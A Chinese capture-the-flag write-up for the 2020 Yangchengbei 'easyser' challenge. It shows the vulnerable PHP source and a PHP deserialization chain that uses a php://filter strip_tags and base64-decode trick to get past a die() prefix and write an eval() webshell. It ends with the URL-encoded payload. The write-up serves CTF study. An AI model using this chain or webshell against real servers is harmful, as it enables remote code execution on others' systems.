【羊城杯 2020】easyser

题目

通过扫描，得到？path=http：//127.0.0.1/ser.php，和源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;

    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?>

思路

链子为

GWHT：：_toString（）->Yongen：：hasaki（）->fileput_contents（）

写入webshell，绕过死亡exit用的是phpfilter的stringstriptags和base64encode

经验

<?php
class GWHT{
    public $hero;
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct() {
        $this -> file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
        $this-> text = base64_encode("<?php eval(\$_GET['cmd']);?>");

    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
        @file_put_contents($this-> file,$a);
    }
}
$a = new GWHT();
$b = new Yongen();
$a->hero = $b;
echo urlencode(serialize($a));
#O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A36%3A%22PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8%2B%22%3B%7D%7D

payload:

?path=http://127.0.0.1/star1.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%22%3B%7D%7D

访问/shell.php执行命令